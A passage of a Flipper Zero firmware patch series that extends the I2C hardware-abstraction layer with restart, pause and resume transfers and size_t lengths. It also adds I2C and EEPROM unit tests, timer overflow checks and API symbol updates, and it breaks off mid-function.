b/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c index 43b2785784..7390d309cf 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c @@ -204,7 +204,7 @@ void furi_hal_bt_hid_start() { hid_svc_start(); } // Configure HID Keyboard - hid_svc_register_led_state_callback(furi_hal_bt_hid_led_state_cb, &hid_host_led_state); + //hid_svc_register_led_state_callback(furi_hal_bt_hid_led_state_cb, &hid_host_led_state); kb_report = malloc(sizeof(FuriHalBtHidKbReport)); mouse_report = malloc(sizeof(FuriHalBtHidMouseReport)); @@ -228,7 +228,7 @@ void furi_hal_bt_hid_stop() { furi_assert(mouse_report); furi_assert(consumer_report); - hid_svc_register_led_state_callback(NULL, NULL); + //hid_svc_register_led_state_callback(NULL, NULL); // Stop all services if(dev_info_svc_is_started()) { dev_info_svc_stop(); From f46018b2046edc7e49546db4c5b7f375c828ab46 Mon Sep 17 00:00:00 2001 From: agarof <18119032+agarof@users.noreply.github.com> Date: Thu, 21 Sep 2023 09:54:25 +0200 Subject: [PATCH 17/40] Add extended I2C HAL functions (#3037) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add extended I2C HAL functions * Rename I2CEndClockStretch to I2CEndAwaitRestart * Address review comments * Update f18 api_symbols.csv * FuriHal: check input values in cortex timer * FuriHal: cleanup I2C documentation * Properly bump api symbols * FuriHal: fix incorrect cast in I2C write_reg methods, fix spelling and naming * FuriHal: cleanup const usage in I2C, sync declaration and implementation * Format Sources * FuriHal: more i2c docs * Add I2C Restart and Pause / Resume test * Add I2C auto-reload test * UnitTests: skip furi_hal_i2c_ext_eeprom if eeprom is not connected * UnitTest: cleanup subghz test output * FuriHal: classic timeouts in i2c Co-authored-by: hedger Co-authored-by: あく --- .../unit_tests/furi_hal/furi_hal_tests.c | 115 +++++ .../debug/unit_tests/subghz/subghz_test.c | 13 +- firmware/targets/f18/api_symbols.csv | 14 +- firmware/targets/f7/api_symbols.csv | 14 +- .../targets/f7/furi_hal/furi_hal_cortex.c | 5 + firmware/targets/f7/furi_hal/furi_hal_i2c.c | 431 ++++++++++-------- .../targets/furi_hal_include/furi_hal_i2c.h | 215 ++++++--- 7 files changed, 534 insertions(+), 273 deletions(-) diff --git a/applications/debug/unit_tests/furi_hal/furi_hal_tests.c b/applications/debug/unit_tests/furi_hal/furi_hal_tests.c index e942c5933b..2dbaa4d868 100644 --- a/applications/debug/unit_tests/furi_hal/furi_hal_tests.c +++ b/applications/debug/unit_tests/furi_hal/furi_hal_tests.c @@ -5,6 +5,11 @@ #include "../minunit.h" #define DATA_SIZE 4 +#define EEPROM_ADDRESS 0b10101000 +#define EEPROM_ADDRESS_HIGH (EEPROM_ADDRESS | 0b10) +#define EEPROM_SIZE 512 +#define EEPROM_PAGE_SIZE 16 +#define EEPROM_WRITE_DELAY_MS 6 static void furi_hal_i2c_int_setup() { furi_hal_i2c_acquire(&furi_hal_i2c_handle_power); @@ -14,6 +19,14 @@ static void furi_hal_i2c_int_teardown() { furi_hal_i2c_release(&furi_hal_i2c_handle_power); } +static void furi_hal_i2c_ext_setup() { + furi_hal_i2c_acquire(&furi_hal_i2c_handle_external); +} + +static void furi_hal_i2c_ext_teardown() { + furi_hal_i2c_release(&furi_hal_i2c_handle_external); +} + MU_TEST(furi_hal_i2c_int_1b) { bool ret = false; uint8_t data_one = 0; @@ -103,14 +116,116 @@ MU_TEST(furi_hal_i2c_int_1b_fail) { mu_assert(data_one != 0, "9 invalid data"); } +MU_TEST(furi_hal_i2c_int_ext_3b) { + bool ret = false; + uint8_t data_many[DATA_SIZE] = {0}; + + // 3 byte: read + data_many[0] = LP5562_CHANNEL_BLUE_CURRENT_REGISTER; + ret = furi_hal_i2c_tx_ext( + &furi_hal_i2c_handle_power, + LP5562_ADDRESS, + false, + data_many, + 1, + FuriHalI2cBeginStart, + FuriHalI2cEndAwaitRestart, + LP5562_I2C_TIMEOUT); + mu_assert(ret, "3 tx failed"); + + // Send a RESTART condition, then read the 3 bytes one after the other + ret = furi_hal_i2c_rx_ext( + &furi_hal_i2c_handle_power, + LP5562_ADDRESS, + false, + data_many + 1, + 1, + FuriHalI2cBeginRestart, + FuriHalI2cEndPause, + LP5562_I2C_TIMEOUT); + mu_assert(ret, "4 rx failed"); + mu_assert(data_many[1] != 0, "4 invalid data"); + ret = furi_hal_i2c_rx_ext( + &furi_hal_i2c_handle_power, + LP5562_ADDRESS, + false, + data_many + 2, + 1, + FuriHalI2cBeginResume, + FuriHalI2cEndPause, + LP5562_I2C_TIMEOUT); + mu_assert(ret, "5 rx failed"); + mu_assert(data_many[2] != 0, "5 invalid data"); + ret = furi_hal_i2c_rx_ext( + &furi_hal_i2c_handle_power, + LP5562_ADDRESS, + false, + data_many + 3, + 1, + FuriHalI2cBeginResume, + FuriHalI2cEndStop, + LP5562_I2C_TIMEOUT); + mu_assert(ret, "6 rx failed"); + mu_assert(data_many[3] != 0, "6 invalid data"); +} + +MU_TEST(furi_hal_i2c_ext_eeprom) { + if(!furi_hal_i2c_is_device_ready(&furi_hal_i2c_handle_external, EEPROM_ADDRESS, 100)) { + printf("no device connected, skipping\r\n"); + return; + } + + bool ret = false; + uint8_t buffer[EEPROM_SIZE] = {0}; + + for(size_t page = 0; page < (EEPROM_SIZE / EEPROM_PAGE_SIZE); ++page) { + // Fill page buffer + for(size_t page_byte = 0; page_byte < EEPROM_PAGE_SIZE; ++page_byte) { + // Each byte is its position in the EEPROM modulo 256 + uint8_t byte = ((page * EEPROM_PAGE_SIZE) + page_byte) % 256; + + buffer[page_byte] = byte; + } + + uint8_t address = (page < 16) ? EEPROM_ADDRESS : EEPROM_ADDRESS_HIGH; + + ret = furi_hal_i2c_write_mem( + &furi_hal_i2c_handle_external, + address, + page * EEPROM_PAGE_SIZE, + buffer, + EEPROM_PAGE_SIZE, + 20); + + mu_assert(ret, "EEPROM write failed"); + furi_delay_ms(EEPROM_WRITE_DELAY_MS); + } + + ret = furi_hal_i2c_read_mem( + &furi_hal_i2c_handle_external, EEPROM_ADDRESS, 0, buffer, EEPROM_SIZE, 100); + + mu_assert(ret, "EEPROM read failed"); + + for(size_t pos = 0; pos < EEPROM_SIZE; ++pos) { + mu_assert_int_eq(pos % 256, buffer[pos]); + } +} + MU_TEST_SUITE(furi_hal_i2c_int_suite) { MU_SUITE_CONFIGURE(&furi_hal_i2c_int_setup, &furi_hal_i2c_int_teardown); MU_RUN_TEST(furi_hal_i2c_int_1b); MU_RUN_TEST(furi_hal_i2c_int_3b); + MU_RUN_TEST(furi_hal_i2c_int_ext_3b); MU_RUN_TEST(furi_hal_i2c_int_1b_fail); } +MU_TEST_SUITE(furi_hal_i2c_ext_suite) { + MU_SUITE_CONFIGURE(&furi_hal_i2c_ext_setup, &furi_hal_i2c_ext_teardown); + MU_RUN_TEST(furi_hal_i2c_ext_eeprom); +} + int run_minunit_test_furi_hal() { MU_RUN_SUITE(furi_hal_i2c_int_suite); + MU_RUN_SUITE(furi_hal_i2c_ext_suite); return MU_EXIT_CODE; } diff --git a/applications/debug/unit_tests/subghz/subghz_test.c b/applications/debug/unit_tests/subghz/subghz_test.c index 1900f20455..64e0591dfa 100644 --- a/applications/debug/unit_tests/subghz/subghz_test.c +++ b/applications/debug/unit_tests/subghz/subghz_test.c @@ -98,9 +98,9 @@ static bool subghz_decoder_test(const char* path, const char* name_decoder) { } subghz_file_encoder_worker_free(file_worker_encoder_handler); } - FURI_LOG_T(TAG, "\r\n Decoder count parse \033[0;33m%d\033[0m ", subghz_test_decoder_count); + FURI_LOG_T(TAG, "Decoder count parse %d", subghz_test_decoder_count); if(furi_get_tick() - test_start > TEST_TIMEOUT) { - printf("\033[0;31mTest decoder %s ERROR TimeOut\033[0m\r\n", name_decoder); + printf("Test decoder %s ERROR TimeOut\r\n", name_decoder); return false; } else { return subghz_test_decoder_count ? true : false; @@ -137,9 +137,9 @@ static bool subghz_decode_random_test(const char* path) { } subghz_file_encoder_worker_free(file_worker_encoder_handler); } - FURI_LOG_D(TAG, "\r\n Decoder count parse \033[0;33m%d\033[0m ", subghz_test_decoder_count); + FURI_LOG_D(TAG, "Decoder count parse %d", subghz_test_decoder_count); if(furi_get_tick() - test_start > TEST_TIMEOUT * 10) { - printf("\033[0;31mRandom test ERROR TimeOut\033[0m\r\n"); + printf("Random test ERROR TimeOut\r\n"); return false; } else if(subghz_test_decoder_count == TEST_RANDOM_COUNT_PARSE) { return true; @@ -200,10 +200,9 @@ static bool subghz_encoder_test(const char* path) { subghz_transmitter_free(transmitter); } flipper_format_free(fff_data_file); - FURI_LOG_T(TAG, "\r\n Decoder count parse \033[0;33m%d\033[0m ", subghz_test_decoder_count); + FURI_LOG_T(TAG, "Decoder count parse %d", subghz_test_decoder_count); if(furi_get_tick() - test_start > TEST_TIMEOUT) { - printf( - "\033[0;31mTest encoder %s ERROR TimeOut\033[0m\r\n", furi_string_get_cstr(temp_str)); + printf("Test encoder %s ERROR TimeOut\r\n", furi_string_get_cstr(temp_str)); subghz_test_decoder_count = 0; } furi_string_free(temp_str); diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index bc17ff2fa8..f4e990becb 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,38.0,, +Version,+,39.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -1105,14 +1105,16 @@ Function,-,furi_hal_i2c_deinit_early,void, Function,-,furi_hal_i2c_init,void, Function,-,furi_hal_i2c_init_early,void, Function,+,furi_hal_i2c_is_device_ready,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint32_t" -Function,+,furi_hal_i2c_read_mem,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t*, uint8_t, uint32_t" +Function,+,furi_hal_i2c_read_mem,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t*, size_t, uint32_t" Function,+,furi_hal_i2c_read_reg_16,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint16_t*, uint32_t" Function,+,furi_hal_i2c_read_reg_8,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t*, uint32_t" Function,+,furi_hal_i2c_release,void,FuriHalI2cBusHandle* -Function,+,furi_hal_i2c_rx,_Bool,"FuriHalI2cBusHandle*, const uint8_t, uint8_t*, const uint8_t, uint32_t" -Function,+,furi_hal_i2c_trx,_Bool,"FuriHalI2cBusHandle*, const uint8_t, const uint8_t*, const uint8_t, uint8_t*, const uint8_t, uint32_t" -Function,+,furi_hal_i2c_tx,_Bool,"FuriHalI2cBusHandle*, const uint8_t, const uint8_t*, const uint8_t, uint32_t" -Function,+,furi_hal_i2c_write_mem,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t*, uint8_t, uint32_t" +Function,+,furi_hal_i2c_rx,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t*, size_t, uint32_t" +Function,+,furi_hal_i2c_rx_ext,_Bool,"FuriHalI2cBusHandle*, uint16_t, _Bool, uint8_t*, size_t, FuriHalI2cBegin, FuriHalI2cEnd, uint32_t" +Function,+,furi_hal_i2c_trx,_Bool,"FuriHalI2cBusHandle*, uint8_t, const uint8_t*, size_t, uint8_t*, size_t, uint32_t" +Function,+,furi_hal_i2c_tx,_Bool,"FuriHalI2cBusHandle*, uint8_t, const uint8_t*, size_t, uint32_t" +Function,+,furi_hal_i2c_tx_ext,_Bool,"FuriHalI2cBusHandle*, uint16_t, _Bool, const uint8_t*, size_t, FuriHalI2cBegin, FuriHalI2cEnd, uint32_t" +Function,+,furi_hal_i2c_write_mem,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, const uint8_t*, size_t, uint32_t" Function,+,furi_hal_i2c_write_reg_16,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint16_t, uint32_t" Function,+,furi_hal_i2c_write_reg_8,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t, uint32_t" Function,+,furi_hal_info_get,void,"PropertyValueCallback, char, void*" diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 26fad6b58f..d37d5f333d 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,38.0,, +Version,+,39.0,, Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, @@ -1176,14 +1176,16 @@ Function,-,furi_hal_i2c_deinit_early,void, Function,-,furi_hal_i2c_init,void, Function,-,furi_hal_i2c_init_early,void, Function,+,furi_hal_i2c_is_device_ready,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint32_t" -Function,+,furi_hal_i2c_read_mem,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t*, uint8_t, uint32_t" +Function,+,furi_hal_i2c_read_mem,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t*, size_t, uint32_t" Function,+,furi_hal_i2c_read_reg_16,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint16_t*, uint32_t" Function,+,furi_hal_i2c_read_reg_8,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t*, uint32_t" Function,+,furi_hal_i2c_release,void,FuriHalI2cBusHandle* -Function,+,furi_hal_i2c_rx,_Bool,"FuriHalI2cBusHandle*, const uint8_t, uint8_t*, const uint8_t, uint32_t" -Function,+,furi_hal_i2c_trx,_Bool,"FuriHalI2cBusHandle*, const uint8_t, const uint8_t*, const uint8_t, uint8_t*, const uint8_t, uint32_t" -Function,+,furi_hal_i2c_tx,_Bool,"FuriHalI2cBusHandle*, const uint8_t, const uint8_t*, const uint8_t, uint32_t" -Function,+,furi_hal_i2c_write_mem,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t*, uint8_t, uint32_t" +Function,+,furi_hal_i2c_rx,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t*, size_t, uint32_t" +Function,+,furi_hal_i2c_rx_ext,_Bool,"FuriHalI2cBusHandle*, uint16_t, _Bool, uint8_t*, size_t, FuriHalI2cBegin, FuriHalI2cEnd, uint32_t" +Function,+,furi_hal_i2c_trx,_Bool,"FuriHalI2cBusHandle*, uint8_t, const uint8_t*, size_t, uint8_t*, size_t, uint32_t" +Function,+,furi_hal_i2c_tx,_Bool,"FuriHalI2cBusHandle*, uint8_t, const uint8_t*, size_t, uint32_t" +Function,+,furi_hal_i2c_tx_ext,_Bool,"FuriHalI2cBusHandle*, uint16_t, _Bool, const uint8_t*, size_t, FuriHalI2cBegin, FuriHalI2cEnd, uint32_t" +Function,+,furi_hal_i2c_write_mem,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, const uint8_t*, size_t, uint32_t" Function,+,furi_hal_i2c_write_reg_16,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint16_t, uint32_t" Function,+,furi_hal_i2c_write_reg_8,_Bool,"FuriHalI2cBusHandle*, uint8_t, uint8_t, uint8_t, uint32_t" Function,+,furi_hal_ibutton_emulate_set_next,void,uint32_t diff --git a/firmware/targets/f7/furi_hal/furi_hal_cortex.c b/firmware/targets/f7/furi_hal/furi_hal_cortex.c index 3fbe384e3c..6b5efc376c 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_cortex.c +++ b/firmware/targets/f7/furi_hal/furi_hal_cortex.c @@ -15,8 +15,11 @@ void furi_hal_cortex_init_early() { } void furi_hal_cortex_delay_us(uint32_t microseconds) { + furi_check(microseconds < (UINT32_MAX / FURI_HAL_CORTEX_INSTRUCTIONS_PER_MICROSECOND)); + uint32_t start = DWT->CYCCNT; uint32_t time_ticks = FURI_HAL_CORTEX_INSTRUCTIONS_PER_MICROSECOND * microseconds; + while((DWT->CYCCNT - start) < time_ticks) { }; } @@ -26,6 +29,8 @@ uint32_t furi_hal_cortex_instructions_per_microsecond() { } FuriHalCortexTimer furi_hal_cortex_timer_get(uint32_t timeout_us) { + furi_check(timeout_us < (UINT32_MAX / FURI_HAL_CORTEX_INSTRUCTIONS_PER_MICROSECOND)); + FuriHalCortexTimer cortex_timer = {0}; cortex_timer.start = DWT->CYCCNT; cortex_timer.value = FURI_HAL_CORTEX_INSTRUCTIONS_PER_MICROSECOND * timeout_us; diff --git a/firmware/targets/f7/furi_hal/furi_hal_i2c.c b/firmware/targets/f7/furi_hal/furi_hal_i2c.c index bdfe0b0a3e..8c7b054e3e 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_i2c.c +++ b/firmware/targets/f7/furi_hal/furi_hal_i2c.c @@ -5,7 +5,6 @@ #include #include -#include #include #define TAG "FuriHalI2c" @@ -27,7 +26,7 @@ void furi_hal_i2c_acquire(FuriHalI2cBusHandle* handle) { furi_hal_power_insomnia_enter(); // Lock bus access handle->bus->callback(handle->bus, FuriHalI2cBusEventLock); - // Ensuree that no active handle set + // Ensure that no active handle set furi_check(handle->bus->current_handle == NULL); // Set current handle handle->bus->current_handle = handle; @@ -51,177 +50,265 @@ void furi_hal_i2c_release(FuriHalI2cBusHandle* handle) { furi_hal_power_insomnia_exit(); } -bool furi_hal_i2c_tx( - FuriHalI2cBusHandle* handle, - uint8_t address, - const uint8_t* data, - uint8_t size, - uint32_t timeout) { - furi_check(handle->bus->current_handle == handle); - furi_assert(timeout > 0); +static bool + furi_hal_i2c_wait_for_idle(I2C_TypeDef* i2c, FuriHalI2cBegin begin, FuriHalCortexTimer timer) { + do { + if(furi_hal_cortex_timer_is_expired(timer)) { + return false; + } + } while(begin == FuriHalI2cBeginStart && LL_I2C_IsActiveFlag_BUSY(i2c)); + // Only check if the bus is busy if starting a new transaction, if not we already control the bus + + return true; +} + +static bool + furi_hal_i2c_wait_for_end(I2C_TypeDef* i2c, FuriHalI2cEnd end, FuriHalCortexTimer timer) { + // If ending the transaction with a stop condition, wait for it to be detected, otherwise wait for a transfer complete flag + bool wait_for_stop = end == FuriHalI2cEndStop; + uint32_t end_mask = (wait_for_stop) ? I2C_ISR_STOPF : (I2C_ISR_TC | I2C_ISR_TCR); + + while((i2c->ISR & end_mask) == 0) { + if(furi_hal_cortex_timer_is_expired(timer)) { + return false; + } + } + return true; +} + +static uint32_t + furi_hal_i2c_get_start_signal(FuriHalI2cBegin begin, bool ten_bit_address, bool read) { + switch(begin) { + case FuriHalI2cBeginRestart: + if(read) { + return ten_bit_address ? LL_I2C_GENERATE_RESTART_10BIT_READ : + LL_I2C_GENERATE_RESTART_7BIT_READ; + } else { + return ten_bit_address ? LL_I2C_GENERATE_RESTART_10BIT_WRITE : + LL_I2C_GENERATE_RESTART_7BIT_WRITE; + } + case FuriHalI2cBeginResume: + return LL_I2C_GENERATE_NOSTARTSTOP; + case FuriHalI2cBeginStart: + default: + return read ? LL_I2C_GENERATE_START_READ : LL_I2C_GENERATE_START_WRITE; + } +} + +static uint32_t furi_hal_i2c_get_end_signal(FuriHalI2cEnd end) { + switch(end) { + case FuriHalI2cEndAwaitRestart: + return LL_I2C_MODE_SOFTEND; + case FuriHalI2cEndPause: + return LL_I2C_MODE_RELOAD; + case FuriHalI2cEndStop: + default: + return LL_I2C_MODE_AUTOEND; + } +} + +static bool furi_hal_i2c_transfer_is_aborted(I2C_TypeDef* i2c) { + return LL_I2C_IsActiveFlag_STOP(i2c) && + !(LL_I2C_IsActiveFlag_TC(i2c) || LL_I2C_IsActiveFlag_TCR(i2c)); +} + +static bool furi_hal_i2c_transfer( + I2C_TypeDef* i2c, + uint8_t* data, + uint32_t size, + FuriHalI2cEnd end, + bool read, + FuriHalCortexTimer timer) { bool ret = true; - FuriHalCortexTimer timer = furi_hal_cortex_timer_get(timeout * 1000); - do { - while(LL_I2C_IsActiveFlag_BUSY(handle->bus->i2c)) { - if(furi_hal_cortex_timer_is_expired(timer)) { - ret = false; - break; - } + while(size > 0) { + bool should_stop = furi_hal_cortex_timer_is_expired(timer) || + furi_hal_i2c_transfer_is_aborted(i2c); + + // Modifying the data pointer's data is UB if read is true + if(read && LL_I2C_IsActiveFlag_RXNE(i2c)) { + *data = LL_I2C_ReceiveData8(i2c); + data++; + size--; + } else if(!read && LL_I2C_IsActiveFlag_TXIS(i2c)) { + LL_I2C_TransmitData8(i2c, *data); + data++; + size--; } - if(!ret) { + // Exit on timeout or premature stop, probably caused by a nacked address or byte + if(should_stop) { + ret = size == 0; // If the transfer was over, still a success break; } + } - LL_I2C_HandleTransfer( - handle->bus->i2c, - address, - LL_I2C_ADDRSLAVE_7BIT, - size, - LL_I2C_MODE_AUTOEND, - LL_I2C_GENERATE_START_WRITE); - - while(!LL_I2C_IsActiveFlag_STOP(handle->bus->i2c) || size > 0) { - if(LL_I2C_IsActiveFlag_TXIS(handle->bus->i2c)) { - LL_I2C_TransmitData8(handle->bus->i2c, (*data)); - data++; - size--; - } - - if(furi_hal_cortex_timer_is_expired(timer)) { - ret = false; - break; - } - } + if(ret) { + ret = furi_hal_i2c_wait_for_end(i2c, end, timer); + } - LL_I2C_ClearFlag_STOP(handle->bus->i2c); - } while(0); + LL_I2C_ClearFlag_STOP(i2c); return ret; } -bool furi_hal_i2c_rx( +static bool furi_hal_i2c_transaction( + I2C_TypeDef* i2c, + uint16_t address, + bool ten_bit, + uint8_t* data, + size_t size, + FuriHalI2cBegin begin, + FuriHalI2cEnd end, + bool read, + FuriHalCortexTimer timer) { + uint32_t addr_size = ten_bit ? LL_I2C_ADDRSLAVE_10BIT : LL_I2C_ADDRSLAVE_7BIT; + uint32_t start_signal = furi_hal_i2c_get_start_signal(begin, ten_bit, read); + + if(!furi_hal_i2c_wait_for_idle(i2c, begin, timer)) { + return false; + } + + do { + uint8_t transfer_size = size; + FuriHalI2cEnd transfer_end = end; + + if(size > 255) { + transfer_size = 255; + transfer_end = FuriHalI2cEndPause; + } + + uint32_t end_signal = furi_hal_i2c_get_end_signal(transfer_end); + + LL_I2C_HandleTransfer(i2c, address, addr_size, transfer_size, end_signal, start_signal); + + if(!furi_hal_i2c_transfer(i2c, data, transfer_size, transfer_end, read, timer)) { + return false; + } + + size -= transfer_size; + data += transfer_size; + start_signal = LL_I2C_GENERATE_NOSTARTSTOP; + } while(size > 0); + + return true; +} + +bool furi_hal_i2c_rx_ext( FuriHalI2cBusHandle* handle, - uint8_t address, + uint16_t address, + bool ten_bit, uint8_t* data, - uint8_t size, + size_t size, + FuriHalI2cBegin begin, + FuriHalI2cEnd end, uint32_t timeout) { furi_check(handle->bus->current_handle == handle); - furi_assert(timeout > 0); - bool ret = true; FuriHalCortexTimer timer = furi_hal_cortex_timer_get(timeout * 1000); - do { - while(LL_I2C_IsActiveFlag_BUSY(handle->bus->i2c)) { - if(furi_hal_cortex_timer_is_expired(timer)) { - ret = false; - break; - } - } + return furi_hal_i2c_transaction( + handle->bus->i2c, address, ten_bit, data, size, begin, end, true, timer); +} - if(!ret) { - break; - } +bool furi_hal_i2c_tx_ext( + FuriHalI2cBusHandle* handle, + uint16_t address, + bool ten_bit, + const uint8_t* data, + size_t size, + FuriHalI2cBegin begin, + FuriHalI2cEnd end, + uint32_t timeout) { + furi_check(handle->bus->current_handle == handle); - LL_I2C_HandleTransfer( - handle->bus->i2c, - address, - LL_I2C_ADDRSLAVE_7BIT, - size, - LL_I2C_MODE_AUTOEND, - LL_I2C_GENERATE_START_READ); - - while(!LL_I2C_IsActiveFlag_STOP(handle->bus->i2c) || size > 0) { - if(LL_I2C_IsActiveFlag_RXNE(handle->bus->i2c)) { - *data = LL_I2C_ReceiveData8(handle->bus->i2c); - data++; - size--; - } - - if(furi_hal_cortex_timer_is_expired(timer)) { - ret = false; - break; - } - } + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(timeout * 1000); - LL_I2C_ClearFlag_STOP(handle->bus->i2c); - } while(0); + return furi_hal_i2c_transaction( + handle->bus->i2c, address, ten_bit, (uint8_t*)data, size, begin, end, false, timer); +} - return ret; +bool furi_hal_i2c_tx( + FuriHalI2cBusHandle* handle, + uint8_t address, + const uint8_t* data, + size_t size, + uint32_t timeout) { + furi_assert(timeout > 0); + + return furi_hal_i2c_tx_ext( + handle, address, false, data, size, FuriHalI2cBeginStart, FuriHalI2cEndStop, timeout); +} + +bool furi_hal_i2c_rx( + FuriHalI2cBusHandle* handle, + uint8_t address, + uint8_t* data, + size_t size, + uint32_t timeout) { + furi_assert(timeout > 0); + + return furi_hal_i2c_rx_ext( + handle, address, false, data, size, FuriHalI2cBeginStart, FuriHalI2cEndStop, timeout); } bool furi_hal_i2c_trx( FuriHalI2cBusHandle* handle, uint8_t address, const uint8_t* tx_data, - uint8_t tx_size, + size_t tx_size, uint8_t* rx_data, - uint8_t rx_size, + size_t rx_size, uint32_t timeout) { - if(furi_hal_i2c_tx(handle, address, tx_data, tx_size, timeout) && - furi_hal_i2c_rx(handle, address, rx_data, rx_size, timeout)) { - return true; - } else { - return false; - } + return furi_hal_i2c_tx_ext( + handle, + address, + false, + tx_data, + tx_size, + FuriHalI2cBeginStart, + FuriHalI2cEndStop, + timeout) && + furi_hal_i2c_rx_ext( + handle, + address, + false, + rx_data, + rx_size, + FuriHalI2cBeginStart, + FuriHalI2cEndStop, + timeout); } bool furi_hal_i2c_is_device_ready(FuriHalI2cBusHandle* handle, uint8_t i2c_addr, uint32_t timeout) { furi_check(handle); - furi_check(handle->bus->current_handle == handle); furi_assert(timeout > 0); bool ret = true; FuriHalCortexTimer timer = furi_hal_cortex_timer_get(timeout * 1000); - do { - while(LL_I2C_IsActiveFlag_BUSY(handle->bus->i2c)) { - if(furi_hal_cortex_timer_is_expired(timer)) { - return false; - } - } - - handle->bus->i2c->CR2 = - ((((uint32_t)(i2c_addr) & (I2C_CR2_SADD)) | (I2C_CR2_START) | (I2C_CR2_AUTOEND)) & - (~I2C_CR2_RD_WRN)); - - while((!LL_I2C_IsActiveFlag_NACK(handle->bus->i2c)) && - (!LL_I2C_IsActiveFlag_STOP(handle->bus->i2c))) { - if(furi_hal_cortex_timer_is_expired(timer)) { - return false; - } - } - - if(LL_I2C_IsActiveFlag_NACK(handle->bus->i2c)) { - while(!LL_I2C_IsActiveFlag_STOP(handle->bus->i2c)) { - if(furi_hal_cortex_timer_is_expired(timer)) { - return false; - } - } - - LL_I2C_ClearFlag_NACK(handle->bus->i2c); - - // Clear STOP Flag generated by autoend - LL_I2C_ClearFlag_STOP(handle->bus->i2c); + if(!furi_hal_i2c_wait_for_idle(handle->bus->i2c, FuriHalI2cBeginStart, timer)) { + return false; + } - // Generate actual STOP - LL_I2C_GenerateStopCondition(handle->bus->i2c); + LL_I2C_HandleTransfer( + handle->bus->i2c, + i2c_addr, + LL_I2C_ADDRSLAVE_7BIT, + 0, + LL_I2C_MODE_AUTOEND, + LL_I2C_GENERATE_START_WRITE); - ret = false; - } + if(!furi_hal_i2c_wait_for_end(handle->bus->i2c, FuriHalI2cEndStop, timer)) { + return false; + } - while(!LL_I2C_IsActiveFlag_STOP(handle->bus->i2c)) { - if(furi_hal_cortex_timer_is_expired(timer)) { - return false; - } - } + ret = !LL_I2C_IsActiveFlag_NACK(handle->bus->i2c); - LL_I2C_ClearFlag_STOP(handle->bus->i2c); - } while(0); + LL_I2C_ClearFlag_NACK(handle->bus->i2c); + LL_I2C_ClearFlag_STOP(handle->bus->i2c); return ret; } @@ -257,7 +344,7 @@ bool furi_hal_i2c_read_mem( uint8_t i2c_addr, uint8_t mem_addr, uint8_t* data, - uint8_t len, + size_t len, uint32_t timeout) { furi_check(handle); @@ -272,11 +359,12 @@ bool furi_hal_i2c_write_reg_8( uint32_t timeout) { furi_check(handle); - uint8_t tx_data[2]; - tx_data[0] = reg_addr; - tx_data[1] = data; + const uint8_t tx_data[2] = { + reg_addr, + data, + }; - return furi_hal_i2c_tx(handle, i2c_addr, (const uint8_t*)&tx_data, 2, timeout); + return furi_hal_i2c_tx(handle, i2c_addr, tx_data, 2, timeout); } bool furi_hal_i2c_write_reg_16( @@ -287,69 +375,42 @@ bool furi_hal_i2c_write_reg_16( uint32_t timeout) { furi_check(handle); - uint8_t tx_data[3]; - tx_data[0] = reg_addr; - tx_data[1] = (data >> 8) & 0xFF; - tx_data[2] = data & 0xFF; + const uint8_t tx_data[3] = { + reg_addr, + (data >> 8) & 0xFF, + data & 0xFF, + }; - return furi_hal_i2c_tx(handle, i2c_addr, (const uint8_t*)&tx_data, 3, timeout); + return furi_hal_i2c_tx(handle, i2c_addr, tx_data, 3, timeout); } bool furi_hal_i2c_write_mem( FuriHalI2cBusHandle* handle, uint8_t i2c_addr, uint8_t mem_addr, - uint8_t* data, - uint8_t len, + const uint8_t* data, + size_t len, uint32_t timeout) { furi_check(handle); - furi_check(handle->bus->current_handle == handle); furi_assert(timeout > 0); - bool ret = true; - uint8_t size = len + 1; - FuriHalCortexTimer timer = furi_hal_cortex_timer_get(timeout * 1000); - - do { - while(LL_I2C_IsActiveFlag_BUSY(handle->bus->i2c)) { - if(furi_hal_cortex_timer_is_expired(timer)) { - ret = false; - break; - } - } - - if(!ret) { - break; - } - - LL_I2C_HandleTransfer( - handle->bus->i2c, - i2c_addr, - LL_I2C_ADDRSLAVE_7BIT, - size, - LL_I2C_MODE_AUTOEND, - LL_I2C_GENERATE_START_WRITE); - - while(!LL_I2C_IsActiveFlag_STOP(handle->bus->i2c) || size > 0) { - 